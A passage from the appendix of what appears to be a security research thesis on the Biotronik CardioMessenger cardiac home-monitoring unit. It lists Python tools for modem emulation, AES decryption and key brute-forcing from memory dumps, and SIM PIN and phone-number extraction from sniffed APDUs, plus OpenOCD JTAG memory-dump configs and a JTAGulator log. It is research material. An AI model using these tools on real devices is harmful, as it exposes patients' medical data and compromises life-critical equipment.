44 S_PORT = sys.argv [1]

45 B_RATE = sys.argv [2]

46

47 print ("*** CM Serial Monitor v{} ***". format ( VERSION ))

48 print ("[+] Port: {}". format ( S_PORT ))

49 print ("[+] Baudrate : {}". format ( B_RATE ))

50 print ("[+] Display new line: {}". format ("True" if DISPLAY_NEW_LINE

else " False "))

51 print ("[+] Current directory is {}". format (os. getcwd ()))

52

53 with serial . Serial (S_PORT , B_RATE , timeout =1) as ser:

54 signal . signal ( signal .SIGINT , signal_handler )

55

56 file_basic = open( BASIC_FILE_NAME , "a+")

57 file_raw = open( RAW_FILE_NAME , "wb")

58

59 print ("[*] Logging raw input in {}". format ( RAW_FILE_NAME ))

60 print ("[*] Logging decoded input in {}". format ( BASIC_FILE_NAME )

)

61 print ("[*] Starting serial communication , press CTRL+C to

terminate ...\n")

62

63 while True:

64 raw_line = ser. readline ()

65 currentDT = datetime . datetime .now ()

66

67 timestamp = datetime . datetime .now (). strftime (

TIMESTAMP_FORMAT )

68

69 if raw_line :

70 line = ""

71 try:

72 line = raw_line . decode (" ascii ")

73 except UnicodeDecodeError :

74 line = " Decoding error "

75

76 final_line = "[{}] {}". format ( timestamp , line)

77

78 file_raw . write ( raw_line )
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79 file_basic . write ( final_line )

80 file_raw . flush ()

81 file_basic . flush ()

82

83 if DISPLAY_NEW_LINE :

84 final_line = final_line . replace ("\r","/r"). replace (

"\n", "/n")

85 else:

86 final_line = final_line . replace ("\r", ""). replace ("

\n", "")

87

88 print ( final_line )

89

90 time. sleep ( WAITING_TIME ) # default answer time is 30 ms for

the G24 modem

91

92

93 def signal_handler (sig , frame ):

94 print (’[+] Terminating ... ’)

95 try:

96 print ("[+] Files closed !")

97 file_basic . close ()

98 file_raw . close ()

99 finally :

100 sys.exit (0)

101

102

103 if __name__ == " __main__ ":

104 main ()

B.1.2 Modem emulation script

Listing B.2: CardioMessenger Serial Modem Script

1 #!/ usr/bin/env python3

2

3 """

4 File name: cm -serial - modem .py

5 Version : 1.0

6 Author : Guillaume Bour

7 Last modified : 2018/05/29

8 License : GNU General Public License v3 .0

9 Description : A script to emulate a modem via a UART connection

10 to the microcontroller .

11 """

12

13 import serial

14 import os

15 import sys

16 import time

17 import datetime

18 import signal
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19

20

21 DISPLAY_NEW_LINE = False

22 VERSION = 1.0

23 TIMESTAMP_FORMAT = "%Y -%m -%d %H:%M:%S"

24 LOGGING = True

25 WAITING_TIME = 0.05 # 0.05 for CM as response time is set to 30 ms

26 ECHO = False

27

28 BASIC_FILE_NAME = datetime . datetime .now (). strftime ("mod -%Y%m%d_%H%M%S.

txt")

29 RAW_FILE_NAME = datetime . datetime .now (). strftime ("mod -%Y%m%d_%H%M% S_raw

.txt")

30 FILES_FORMAT = datetime . datetime .now (). strftime (" file_ %Y%m%d_%H%M%S_ {}.

bin")

31

32 file_basic = None

33 file_raw = None

34

35 def send_command (ser , timestamp , command ):

36 print ("> [{}] {}". format ( timestamp , command ))

37 command = "\r\n{}\r\n". format ( command )

38 ser. write ( bytearray (command , ’utf -8 ’))

39

40

41 def usage ():

42 print (" Usage : python3 cm -serial - modem .py SERIAL_PORT BAUDRATE ")

43

44

45 def main ():

46 if len(sys.argv) < 3:

47 usage ()

48 sys.exit (0)

49

50 S_PORT = sys.argv [1]

51 B_RATE = sys.argv [2]

52

53 print ("*** CM Serial Modem v{} ***". format ( VERSION ))

54 print ("[+] Port: {}". format ( S_PORT ))

55 print ("[+] Baudrate : {}". format ( B_RATE ))

56 print ("[+] Display new line: {}". format ("True" if DISPLAY_NEW_LINE

else " False "))

57 print ("[+] Current directory is {}". format (os. getcwd ()))

58

59 with serial . Serial (S_PORT , B_RATE , timeout =1) as ser:

60 signal . signal ( signal .SIGINT , signal_handler )

61

62 file_basic = open( BASIC_FILE_NAME , "a+")

63 file_raw = open( RAW_FILE_NAME , "wb")

64

65 print ("[*] Logging raw input in {}". format ( RAW_FILE_NAME ))
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66 print ("[*] Logging decoded input in {}". format ( BASIC_FILE_NAME )

)

67 print ("[*] Starting serial communication , press CTRL+C to

terminate ...\n")

68

69 DECODE_ERROR = False

70 FILE_BUFFER = b""

71 FILE_NB = 0

72 FILE_MODE = False

73

74 while True:

75 if FILE_MODE :

76 raw_line = ser.read(ser. in_waiting )

77 else:

78 raw_line = ser. readline ()

79

80 timestamp = datetime . datetime .now (). strftime (

TIMESTAMP_FORMAT )

81 time. sleep ( WAITING_TIME ) # default answer time is 30 ms for

the G24 modem

82

83 if raw_line :

84 line = ""

85 try:

86 line = raw_line . decode (" ascii ")

87 DECODE_ERROR = False

88 FILE_MODE = False

89 except UnicodeDecodeError :

90 line = raw_line .hex ()

91 DECODE_ERROR = True

92

93 if (not FILE_MODE ) and not ( FILE_BUFFER == b""):

94 with open ( FILES_FORMAT . format ( FILE_NB ), "wb") as

ofile :

95 ofile . write ( FILE_BUFFER )

96 ofile . flush ()

97 FILE_BUFFER = b""

98 FILE_NB += 1

99

100 final_line = "< [{}] {}". format ( timestamp , line)

101

102 file_raw . write ( raw_line )

103 file_basic . write ( final_line )

104 file_raw . flush ()

105 file_basic . flush ()

106

107 if DISPLAY_NEW_LINE :

108 final_line = final_line . replace ("\r","/r"). replace (

"\n", "/n")

109 else:

110 final_line = final_line . replace ("\r", ""). replace ("

\n", "")
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111

112 print ( final_line )

113

114 if (not FILE_MODE ) and ECHO and (not DECODE_ERROR ):

115 send_command (ser , timestamp , raw_line . decode (’ascii

’))

116

117 if " atii5 # vversion " in line:

118 send_command (ser , timestamp , "OK")

119 elif "AT# CONNECTIONSTART " in line:

120 send_command (ser , timestamp , " DIALING ")

121 send_command (ser , timestamp , "TW[ REDACTED ]")

122 send_command (ser , timestamp , " CONNECT 115200 ")

123 send_command (ser , timestamp , " 172.16.14.80 ")

124 send_command (ser , timestamp , " OK_Info_PPP ")

125 elif "AT#OTCP =1" in line:

126 send_command (ser , timestamp , "

OK_Info_WaitingForData ")

127 print ("{} Switching to data mode {}". format ("-"*5,

"-"*5))

128 FILE_MODE = True

129 elif "AT#" in line or "at#" in line:

130 send_command (ser , timestamp , "OK")

131 elif "AT+" in line or "at+" in line:

132 send_command (ser , timestamp , "OK")

133 elif "at" in line:

134 send_command (ser , timestamp , "OK")

135 else:

136 if not DECODE_ERROR :

137 if line == "\x00":

138 print ("Host sent NULL Byte - ( Reset )")

139 send_command (ser , timestamp , "OK")

140 elif line == "\x03":

141 print ("Host sent ETX , back to command mode"

)

142 send_command (ser , timestamp , "OK")

143 FILE_MODE = False

144 else:

145 print (line. encode (’ascii ’).hex ())

146 print ("INFO: {} Command not registered ". format (

line. replace ("\r",""). replace ("\n", "")))

147 FILE_MODE = True # Trick to switch back to

command mode on RST

148 elif FILE_MODE :

149 FILE_BUFFER += raw_line

150 else:

151 print ("Here but should not happened ")

152

153

154 def signal_handler (sig , frame ):

155 print (’[+] Terminating ... ’)

156 try:
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157 print ("[+] Files closed !")

158 file_basic . close ()

159 file_raw . close ()

160 if not ( FILE_BUFFER == b""):

161 with open ( FILES_FORMAT . format ( FILE_NB ), "wb") as ofile :

162 ofile . write ( FILE_BUFFER )

163 ofile . flush ()

164 finally :

165 sys.exit (0)

166

167

168 if __name__ == " __main__ ":

169 main ()

B.2 Analysis scripts

Listing B.3: CardioMessenger Data Decryption Script

1 #!/ usr/bin/env python3

2

3 """

4 File name: cm - decrypt .py

5 Version : 1.0

6 Author : Guillaume Bour

7 Last modified : 2018/05/25

8 License : GNU General Public License v3 .0

9 Description : A script to decrypt the data sent by the HMU to

10 the backend server , given an AES key. Can also be used to

11 brute force the AES key given a binary dump of either the

12 RAM or the flash memory .

13 """

14

15 import os

16 import sys

17 import time

18 import argparse

19 import struct

20 import math

21 import zlib

22 from stat import *

23 from Crypto . Cipher import AES

24

25

26 NAME = "CM DECRYPT "

27 VERSION = "1.0"

28

29 GZIP_MAGIC_HEADER = "1f8b"

30 ESC_ELT = 0x10

31

32 ENC_DES = 6

33 ENC_3DES_CBC = 7
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34 ENC_AES_CBC = 8

35

36

37 def print_file_info ( filename ):

38 print ("** {} v{} **\n". format (NAME , VERSION ))

39 print ("[*] Opening {}... ". format ( filename ))

40

41 with open (filename , "rb") as bin_file :

42 print ("\n-- FILE INFORMATION --\n")

43 try:

44 st = os.stat( filename )

45 except IOError :

46 print (" Failed to get information about {}". format ( filename )

)

47 sys.exit ( -1)

48 else:

49 print ("File size: {} bytes (hex: {:02X})". format (st[ ST_SIZE

], st[ ST_SIZE ]))

50 print ("File created : {}". format (time. asctime (time. localtime

(st[ ST_MTIME ]))))

51 print ("File modified : {}". format (time. asctime (time.

localtime (st[ ST_MTIME ]))))

52 print ("File entropy : {} bits per byte\n". format (H( bin_file .

read () , True)))

53

54

55 def sanitize ( bin_data ):

56 binary = b""

57 skip = False

58 for b in bin_data :

59 if not skip and b == ESC_ELT :

60 skip = True

61 else:

62 binary += bytes ([b])

63 skip = False

64

65 # Fix weird bug

66 binary = bytes . fromhex ( binary . hex (). replace (’aa01 ’, ’aa ’))

67 return binary

68

69

70 def getKeys ( file_name ):

71 key = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\

x00\x00"

72 with open ( file_name , "rb") as bin_file :

73 next_byte = bin_file .read (1)

74 while next_byte != "":

75 key = key [1:] + next_byte

76 next_byte = bin_file .read (1)

77 yield key

78

79
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80 # Adapted from http :// blog. dkbza .org /2007/05/ scanning -data -for -entropy -

anomalies .html

81 def H(data , round_r = False ):

82 if not data:

83 return 0

84 entropy = 0

85 for x in range (256) :

86 p_x = float (data. count (x))/len(data)

87 if p_x > 0:

88 entropy += - p_x*math.log(p_x , 2)

89 if round_r :

90 return round (entropy , 2)

91 return entropy

92

93

94 def aes_decrypt (data , key , iv):

95 cipher = AES.new(key , AES.MODE_CBC , iv)

96 return cipher . decrypt (data)

97

98

99 def parse_message_layer (data):

100 if not QUIET :

101 print ("\n** Message Layer **\n")

102

103 msgs = zlib. decompress (data , zlib. MAX_WBITS |32)

104 h = H(msgs , True)

105 msgs = msgs.hex ()

106

107 print ("Size of the recovered data: {} bytes ". format (len(msgs)))

108 print (" Number of packets : {}". format (len(msgs. split ("0a"))))

109 print (" Entropy : {}". format (h))

110

111

112 def parse_compression_layer (data):

113 if not QUIET :

114 print ("\n** Compression Layer **\n")

115

116 type_p = struct . unpack (">B", data [0:1]) [0]

117 magic_header = struct . unpack (">H", data [1:3]) [0]

118 payload = data [1:]

119

120 if not type_p == 9:

121 print ("[ ERROR ] Not a compression layer packet !")

122 sys.exit ( -1)

123

124 if not QUIET :

125 is_mh = " => gzip compressed data , from Unix" if "{}". format (

GZIP_MAGIC_HEADER ) in payload .hex () else ""

126 print (" Compression packet : Yes")

127 print (" Magic header : 0x{:02x} {}". format ( magic_header , is_mh ))

128 print (" Entropy : {}". format (H(payload , True)))

129
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130 parse_message_layer ( payload )

131

132

133 def parse_encryption_layer (data , key):

134 if not QUIET :

135 print ("\n** Encryption Layer **\n")

136

137 type_p = struct . unpack (">B", data [0:1]) [0]

138 padding = struct . unpack (">B", data [1:2]) [0]

139 iv = data [2:18]

140 r_data = data [18:]

141

142 type_txt = ""

143 if type_p == ENC_AES_CBC :

144 type_txt = " AES_CBC "

145 elif type_p == ENC_3DES_CBC :

146 type_txt = "3DES CBC"

147 elif type_p == ENC_DES :

148 type_txt = "DES"

149 else:

150 print ("[ ERROR ] Encryption type not known : {}". format ( type_p ))

151 sys.exit ( -1)

152

153 if not QUIET :

154 div = "Yes" if len(data) % 16 == 0 else "No"

155 print (" Length of the packet : {} (hex: {:02x}) (div by 16? {})".

format (len(data), len(data), div))

156 print ("Type of packet : {} (hex: {:02x}) => {}". format (type_p ,

type_p , type_txt ))

157 print (" Padding : {} (hex: {:02x})". format (padding , padding ))

158 print ("IV: {}". format (iv.hex ()))

159 print ("Key: {}\n". format (key.hex ()))

160

161 if type_p == 8:

162 blocks = ( len( r_data ) // 16 ) * 16

163 data = aes_decrypt ( r_data [: blocks ], key , iv)

164 parse_compression_layer (data)

165 else:

166 print ("[ ERROR ] {}: encryption type not implemented ". format (

type_txt ))

167 sys.exit ( -1)

168

169

170 def parse_transport_layer ( bin_content , key , get_payload = False ):

171 if not QUIET :

172 print ("** Transport Layer **\n")

173

174 type_p = struct . unpack (">B", bin_content [0:1]) [0]

175 length = struct . unpack (">H", bin_content [1:3]) [0]

176 unknown = struct . unpack (">B", bin_content [3:4]) [0]

177 p_id = struct . unpack (">H", bin_content [4:6]) [0]

178 cm_id = struct . unpack (">I", bin_content [6:10]) [0]
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179 checksum = struct . unpack (">H", bin_content [len( bin_content ) -2:]) [0]

180

181 if not QUIET :

182 print ("Type of packets : {} (hex: {:02x})". format (type_p , type_p

))

183 print (" Length : {} bytes (hex: {:04x})". format (length , length ))

184 print (" Unknown : {} (hex: {:02x})". format (unknown , unknown ))

185 print (" Packet ID: {} (hex: {:04x})". format (p_id , p_id))

186 print ("CM ID: {} (hex: {:08x})". format (cm_id , cm_id ))

187 print (" Checksum : {} (hex: {:04x})". format (checksum , checksum ))

188

189 payload = bin_content [10: len( bin_content ) -2]

190

191 if get_payload :

192 return payload

193 else:

194 parse_encryption_layer (payload , key)

195

196

197 def bruteforce_aes (data , filename_bin ):

198 if not QUIET :

199 print ("\n[*] Brute forcing the AES key ...")

200

201 type_p = struct . unpack (">B", data [0:1]) [0]

202 iv = data [2:18]

203 r_data = data [18:]

204 blocks = ( len( r_data ) // 16 ) * 16

205 c = 0

206

207 if type_p != ENC_AES_CBC :

208 print ("[ ERROR ] Encryption type not recognized or not

implemented ({})". format ( type_p ))

209 sys.exit ( -1)

210

211 if not QUIET :

212 with open ( filename_bin , "rb") as file_b :

213 print ("[*] {} keys to try". format (len( file_b .read ())))

214

215 for key in getKeys ( filename_bin ):

216 if len(key) != 16:

217 return None

218 d = aes_decrypt ( r_data [: blocks ], key , iv)

219

220 if " {}{}{} ". format ("09", GZIP_MAGIC_HEADER , "0800") in d.hex ():

221 return (key , c - 15)

222

223 if not QUIET :

224 c += 1

225 if c % 10000 == 0:

226 print (".", end="")

227 sys. stdout . flush ()

228 return None
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229

230

231 def bruteforce_key (data , filename_ram ):

232 if not QUIET :

233 print ("[*] Brute force mode")

234 print ("[*] Binary : {}\n". format ( filename_ram ))

235

236 payload = parse_transport_layer (data , None , True)

237

238 start = time.time ()

239 res = bruteforce_aes (payload , filename_ram )

240 end = time.time ()

241 t = int (( end - start ) * 100) / 100

242

243 if res:

244 (key , addr) = res

245 print ("\n[*] Key Found in {}s!\n". format (t))

246 print ("Key: {}". format (key.hex ()))

247 print ("Addr: 0x{:08x}". format (addr))

248 else:

249 print ("\nKey not found ! Time elapsed : {}s". format (t))

250

251

252 def decrypt_data (data , key):

253 if not QUIET :

254 print ("[*] Decrypt mode")

255 parse_transport_layer (data , key)

256

257

258 if __name__ == " __main__ ":

259 parser = argparse . ArgumentParser ( description =" Decrypt a file sent

by the Biotronik HMU or break the key used to encrypt the data.

")

260 parser . add_argument (" filename ", type=str , help=" Filename of the

binary data to be decrypted .")

261 parser . add_argument ("-q", "--quiet ", action =" store_true ", help="

Only prints the result .")

262 parser . add_argument ("-n", "--no - sanitize ", action =" store_true ",

help="Do not sanitize the data before attempting decryption (

useful for the GSM version .")

263 group = parser . add_mutually_exclusive_group ( required = True)

264 group . add_argument ("-k", "--key", type=str , help="The key to

decrypt the data (in hex).")

265 group . add_argument ("-b", "--binary ", type=str , help="The binary

file used to brute force the key.")

266 args = parser . parse_args ()

267

268 QUIET = args. quiet

269

270 if not QUIET :

271 print_file_info (args. filename )

272
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273 with open (args.filename , "rb") as bin_file :

274 data = bin_file .read ()

275

276 if not args. no_sanitize :

277 data = sanitize (data)

278 if not QUIET :

279 print ("[*] Data sanitized !")

280

281 if args.key:

282 decrypt_data (data , bytes . fromhex (args.key))

283 else:

284 bruteforce_key (data , args. binary )

Listing B.4: APDU Parser

1 #!/ usr/bin/env python3

2

3 """

4 File name: apdu - parser .py

5 Version : 1.0

6 Author : Guillaume Bour

7 Last modified : 2018/05/18

8 License : GNU General Public License v3 .0

9 Description : A script to parse and extract information from raw

APDU.

10 """

11

12 import argparse

13 import os

14 import sys

15 import re

16 import string

17

18

19 # Instructions ’ mapping

20 op_codes = {

21 ’0E’: " ERASE BINARY ",

22 ’20 ’: " VERIFY ",

23 ’70 ’: " MANAGE CHANNEL ",

24 ’82 ’: " EXTERNAL AUTHENTICATE ",

25 ’84 ’: "GET CHALLENGE ",

26 ’88 ’: " INTERNAL AUTHENTICATE ",

27 ’A4 ’: " SELECT FILE",

28 ’B0 ’: "READ BINARY ",

29 ’B2 ’: "READ RECORD (S)",

30 ’C0 ’: "GET RESPONSE ",

31 ’C2 ’: " ENVELOPE ",

32 ’CA ’: "GET DATA",

33 ’D0 ’: " WRITE BINARY ",

34 ’D2 ’: " WRITE RECORD ",

35 ’D6 ’: " UPDATE BINARY ",

36 ’DA ’: "PUT DATA",
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37 ’DC ’: " UPDATE DATA",

38 ’E2 ’: " APPEND RECORD ",

39 }

40

41 c_phone_numbers = set ()

42 c_pin = -1

43

44

45 def rev_number (n):

46 nn = ""

47 for k in range (0, len(n), 2):

48 nn += n[k:k +2][:: -1]

49 return "+"+nn

50

51

52 def find_numbers_hex ( hex_data ):

53 res = re. findall (r" 94[0 -9]{10} ", hex_data )

54 return [ rev_number (n) for n in res]

55

56

57 # Adapted from https :// stackoverflow .com/ questions /17195924/ python -

equivalent -of -unix -strings - utility

58 def strings (hex_data , min =4):

59 result = ""

60 for c in hex_data :

61 c = bytes ([c]). decode (’utf -8 ’, " ignore ")

62 if c in string . printable :

63 result += c

64 continue

65 if len( result ) >= min:

66 yield result

67 result = ""

68 if len( result ) >= min: # catch result at EOF

69 yield result

70

71

72 # Parses the Logic Analyzer CSV and returns the HEX data

73 # start_idx is the row ’s index to start with (1 = skip the first line)

74 def get_hex_data_from_csv (filename , start_idx =1):

75 with open ( filename ) as csv_file :

76 d = ""

77 for line in csv_file . readlines ()[ start_idx :]:

78 d += line. split (",")[2]. split (’ ’)[0]. replace (’\n’,’’).

replace (’0x’, ’’)

79 return d

80

81

82 # Returns a list of messages based on a delimiter

83 # skip_first : skip the first message if garbage detected

84 def get_apdu (hex_data , delimiter ="A0", skip_first = True):

85 splitted_data = hex_data . split ( delimiter )

86 apdu = []
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87 prefix = ""

88 garbage = hex_data . startswith ("00")

89

90 for line in splitted_data :

91 if prefix :

92 line = " {}{}{} ". format (prefix , delimiter , line)

93 prefix = ""

94 if len(line) % 2 == 0:

95 apdu. append ("{}{}". format ( delimiter , line))

96 else:

97 prefix = line

98

99 if skip_first and garbage :

100 return apdu [1:]

101

102 return apdu

103

104

105 def parse_data (data , op):

106 global c_pin

107

108 if op == ’20 ’:

109 data = data. replace ("FF", "")

110 pin = bytes . fromhex (data). decode (’ascii ’)

111 c_pin = pin

112 return "PIN: {}". format (pin)

113 if op == "B2":

114 res = re. findall (r" 94[0 -9]{10} ", data)

115 nums = "".join ([ rev_number (n) for n in res ])

116 if nums:

117 c_phone_numbers .add(nums)

118 return "Data = {}\n{}". format (data , nums)

119

120 return "Data: {}". format (data)

121

122

123 def parse_apdu_response (response , le , display ):

124 op_code = response [0:2]

125 data = response [2:2+ le *2]

126 sw1 = response [2+ le *2:4+ le *2]

127 sw2 = response [4+ le *2:6+ le *2]

128

129 op = ""

130 if op_code in op_codes .keys ():

131 op = op_codes [ op_code ]

132 else:

133 op = " UNKNONW "

134

135 d = parse_data (data , op_code )

136

137 if not display :
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138 print ("{}| DATA |{}|{} - REPLY TO {}". format (op_code , sw1 , sw2 ,

op))

139 print (d)

140

141

142 def parse_apdu (pdu , display ):

143 cla = pdu [0:2]

144 ins = pdu [2:4]

145 p1 = pdu [4:6]

146 p2 = pdu [6:8]

147 le = pdu [8:10]

148 le_int = int("0x{}". format (le), 0)

149 op = ""

150

151 if ins in op_codes .keys ():

152 op = op_codes [ins]

153 else:

154 op = " UNKNONW "

155

156 if not display :

157 print (" {}|{}|{}|{}|{} - {}". format (cla , ins , p1 , p2 , le , op))

158

159 parse_apdu_response (pdu [10:] , le_int , display )

160

161 if not display :

162 print ("-" * 30)

163

164

165 if __name__ == " __main__ ":

166 parser = argparse . ArgumentParser ( description =" Parses APDU

eavesdropped with Salae Logic ’s and outputs the information

gathered .")

167 parser . add_argument (’filename ’, help=" Logic ’s CSV output ")

168 parser . add_argument (’--hexonly ’, action =’store_true ’, help=" Parses

the CSV and outputs the HEX directly on standard output ")

169 parser . add_argument (’--nodetails ’, action =’store_true ’, help="Does

not display any APDU")

170

171 args = parser . parse_args ()

172

173 if args. filename and os.path. isfile (args. filename ):

174 hex_data = get_hex_data_from_csv (args. filename )

175 if args. hexonly :

176 print ( hex_data )

177 sys.exit (0)

178

179 apdus = get_apdu ( hex_data )

180 for pdu in apdus :

181 parse_apdu (pdu , args. nodetails )

182

183 print ("** ANALYSIS RESULTS **")

184 if c_pin != -1:
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185 print ("\nPIN found : {}". format ( c_pin ))

186

187 c_phone_numbers = list( c_phone_numbers )

188 print ("\n{} german ’s phone numbers found in records :". format (

len( c_phone_numbers )))

189 for phone in c_phone_numbers :

190 print ( phone )

191

192 nums = list(set( find_numbers_hex ( hex_data )))

193 print ("\n{} german ’s phone numbers found in total in the hex

dump:". format (len(nums)))

194 print ("/!\ This is raw data and can be misleading , be careful

when dealing with it.")

195 for phone in nums:

196 print ( phone )

197

198 print ("\ nPlain texts found in the hex dump:")

199 for word in strings ( bytes . fromhex ( hex_data ), 4):

200 print (word. strip (). strip ())

B.3 OpenOCD configuration files

Listing B.5: Basic connection to a target

1 # INTERFACE

2 interface bcm2835gpio

3 bcm2835gpio_peripheral_base 0 x20000000

4 bcm2835gpio_speed_coeffs 113714 28

5 bcm2835gpio_jtag_nums 11 25 10 9

6 bcm2835gpio_srst_num 24

7 reset_config srst_only srst_push_pull

8 adapter_khz 500

9

10 # TRANSPORT

11 transport select jtag

12

13 # TARGET

14 set WORKAREASIZE 0

15 set CHIPNAME at91rm9200

16 source [find target / at91rm9200 .cfg]

17 reset_config srst_only srst_nogate

18 adapter_nsrst_delay 100

19 adapter_nsrst_assert_width 100

20

21 # EXEC

22 init

23 targets

24 halt
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Listing B.6: Dumping the memory of a target

1 # INTERFACE

2 interface bcm2835gpio

3 bcm2835gpio_peripheral_base 0 x20000000

4 bcm2835gpio_speed_coeffs 113714 28

5 bcm2835gpio_jtag_nums 11 25 10 9

6 bcm2835gpio_srst_num 24

7 reset_config srst_only srst_push_pull

8 adapter_khz 500

9

10 # TRANSPORT

11 transport select jtag

12

13 # TARGET

14 set WORKAREASIZE 0

15 set CHIPNAME at91rm9200

16 source [find target / at91rm9200 .cfg]

17 reset_config srst_only srst_nogate

18 adapter_nsrst_delay 100

19 adapter_nsrst_assert_width 100

20

21 # EXEC

22 init

23 targets

24 halt

25

26 echo " Dumping bootloader ..."

27 dump_image bootloader .img 0 x00000000 1048576

28 echo "Done !"

29

30 echo " Dumping SRAM ..."

31 dump_image sram.img 0 x00200000 104576

32 echo "Done !"

33

34 echo " Dumping Flash content ..."

35 dump_image flash.img 0 x10000000 4194304

36 echo "Done !"

37

38 echo " Dumping RAM ..."

39 dump_image sdram.img 0 x20000000 2097152

40 echo "Done !"



Appendix

CDetailed listings

C.1 CardioMessenger II-S T-Line

C.1.1 Modem’s configurations

Listing C.1: Default modem’s configuration

1 at

2

3 OK

4 at

5

6 OK

7 at#vall

8

9

10 # VVERSION : VERSION 0.11

11

12 # ANSWERMODE : 0

13 # CALLBACKTIMER : 2

14 # CALLSCREENNUM : "*"

15 # DIALN1 : ""

16 # DIALN2 : ""

17 # DIALSELECT : 1

18 # PHYTIMEOUT : 15

19 # REDIALCOUNT : 0

20 # REDIALDELAY : 0

21 # RINGCOUNT : 0

22

23 # FTPGETFILENAME : ""

24 # FTPGETPATH : ""

25 # FTPMODE : 0

26 # FTPPORT : 21

27 # FTPPUTFILENAME : ""

143
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28 # FTPPUTPATH : ""

29 #FTPPW: ""

30 # FTPSERV : ""

31 # FTPTYPE : I

32 #FTPUN: ""

33

34 # POP3HEADERMODE : 1

35 # POP3PORT : 110

36 # POP3PW : ""

37 # POP3SERV : ""

38 # POP3UN : ""

39

40 # DOMAIN : ""

41 # SENDERADDR : ""

42 # SENDERNAME : ""

43 # SMTPPORT : 25

44 # SMTPPW : ""

45 # SMTPSERV : ""

46 # SMTPUN : ""

47 # SMTPAUTH : 1

48

49 #BODY1: ""

50 # CCREC1 : ""

51 #REC1: ""

52 #SUBJ1: ""

53

54 # DLEMODE : 1 , 1

55 # TCPSERV : 1 , ""

56 # TCPPORT : 1 , 0

57 # TCPTXDELAY : 1 , 100

58

59 # UDPSERV : 1 , ""

60 # UDPPORT : 1 , 0

61 # UDPTXDELAY : 1 , 100

62

63 # PINGDELAY : 1

64 # PINGNUM : 4

65 # PINGREMOTE : ""

66

67 #ISPUN: ""

68 #ISPPW: ""

69 # PPPMODE : 3

70 # PPPMYIP : "0.0.0.0"

71 # PPPPEERIP : "0.0.0.0"

72 # AUTHENT : NONE
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73 # DNSSERV1 : ""

74 # DNSSERV2 : ""

75

76 +IPR: 115200

77 +ICF: 2,4

78 +IFC: 2,2

79

80 V: 1

81 E: 1

82 &S: 1

83 &C: 2

84 # MCOUNTRY : B5

85

86 #ATCMD: 0, "-STE =7"

87 #ATCMD: 1, "+ MS=V34"

88 #ATCMD: 2, ""

89 #ATCMD: 3, ""

90

91 OK

Listing C.2: Modem’s configuration

1 AT# DIALN1 ="TW[ REDACTED ]"

2 AT#ISPUN ="[ REDACTED ]@cm3 - homemonitoring .de"

3 AT#ISPPW ="[ REDACTED ]"

4 at#atcmd =0,"- STE =7"

5 ### Connection to the Modem here ###

6 at

7

8 OK

9 at# vversion

10

11 # VVERSION : VERSION 0.11

12

13 OK

14 at#vall

15

16

17 # VVERSION : VERSION 0.11

18

19 # ANSWERMODE : 0

20 # CALLBACKTIMER : 2

21 # CALLSCREENNUM : "*"

22 # DIALN1 : "TW[ REDACTED ]"

23 # DIALN2 : ""

24 # DIALSELECT : 1
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25 # PHYTIMEOUT : 15

26 # REDIALCOUNT : 0

27 # REDIALDELAY : 0

28 # RINGCOUNT : 0

29

30 # FTPGETFILENAME : ""

31 # FTPGETPATH : ""

32 # FTPMODE : 0

33 # FTPPORT : 21

34 # FTPPUTFILENAME : ""

35 # FTPPUTPATH : ""

36 #FTPPW: ""

37 # FTPSERV : ""

38 # FTPTYPE : I

39 #FTPUN: ""

40

41 # POP3HEADERMODE : 1

42 # POP3PORT : 110

43 # POP3PW : ""

44 # POP3SERV : ""

45 # POP3UN : ""

46

47 # DOMAIN : ""

48 # SENDERADDR : ""

49 # SENDERNAME : ""

50 # SMTPPORT : 25

51 # SMTPPW : ""

52 # SMTPSERV : ""

53 # SMTPUN : ""

54 # SMTPAUTH : 1

55

56 #BODY1: ""

57 # CCREC1 : ""

58 #REC1: ""

59 #SUBJ1: ""

60

61 # DLEMODE : 1 , 1

62 # TCPSERV : 1 , ""

63 # TCPPORT : 1 , 0

64 # TCPTXDELAY : 1 , 100

65

66 # UDPSERV : 1 , ""

67 # UDPPORT : 1 , 0

68 # UDPTXDELAY : 1 , 100

69
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70 # PINGDELAY : 1

71 # PINGNUM : 4

72 # PINGREMOTE : ""

73

74 #ISPUN: "[ REDACTED ]@cm3 - homemonitoring .de"

75 #ISPPW: "[ REDACTED ]"

76 # PPPMODE : 3

77 # PPPMYIP : "0.0.0.0"

78 # PPPPEERIP : "0.0.0.0"

79 # AUTHENT : PAP

80 # DNSSERV1 : ""

81 # DNSSERV2 : ""

82

83 +IPR: 115200

84 +ICF: 2,4

85 +IFC: 2,2

86

87 V: 1

88 E: 1

89 &S: 1

90 &C: 2

91 # MCOUNTRY : B5

92

93 #ATCMD: 0, "-STE =7"

94 #ATCMD: 1, "+ A8E =6 ,5 ,0 ,1 ,0 ,0"

95 #ATCMD: 2, "X3"

96 #ATCMD: 3, ""

97

98 OK

C.1.2 JTAGulator

Listing C.3: Pins determination using the JTAGulator

1 Welcome to JTAGulator . Press ’H’ for available commands .

2 Warning : Use of this tool may affect target system behavior !

3

4 > h

5

6 Target Interfaces :

7 J JTAG/IEEE 1149.1

8 U UART/ Asynchronous Serial

9 G GPIO

10

11 General Commands :

12 V Set target I/O voltage (1.2V to 3.3V)
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13 I Display version information

14 H Display available commands

15

16 > v

17

18 Current target I/O voltage : Undefined

19 Enter new target I/O voltage (1.2 - 3.3, 0 for off): 3

20

21 New target I/O voltage set: 3.0

22 Ensure VADJ is NOT connected to target !

23

24 > j

25

26

27 JTAG > h

28

29 JTAG Commands :

30 I Identify JTAG pinout ( IDCODE Scan)

31 B Identify JTAG pinout ( BYPASS Scan)

32 D Get Device ID(s)

33 T Test BYPASS (TDI to TDO)

34 Y Instruction /Data Register (IR/DR) discovery

35 X Transfer instruction /data

36 C Set JTAG clock speed

37

38 General Commands :

39 V Set target I/O voltage (1.2V to 3.3V)

40 H Display available commands

41 M Return to main menu

42

43 JTAG > i

44

45 Enter starting channel [0]:

46

47 Enter ending channel [0]: 12

48

49 Possible permutations : 1716

50

51 Bring channels LOW between each permutation ? [y/N]: y

52

53 Enter length of time for channels to remain LOW (in ms , 1 -

1000) [100]:

54

55 Enter length of time after channels return HIGH before

proceeding (in ms , 1 - 1000) [100]:
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56

57 Press spacebar to begin (any other key to abort)...

58 JTAGulating ! Press any key to abort ...

59 -------------------------------------------

60 TDI: N/A

61 TDO: 11

62 TCK: 4

63 TMS: 12

64 Device ID #1: 0000 0101101100000010 00000011111 1 (0 x05B0203F )

65 TRST #: 3

66 TRST #: 10

67

68 -------------------------------------------

69 IDCODE scan complete .

70

71 JTAG > h

72

73 JTAG Commands :

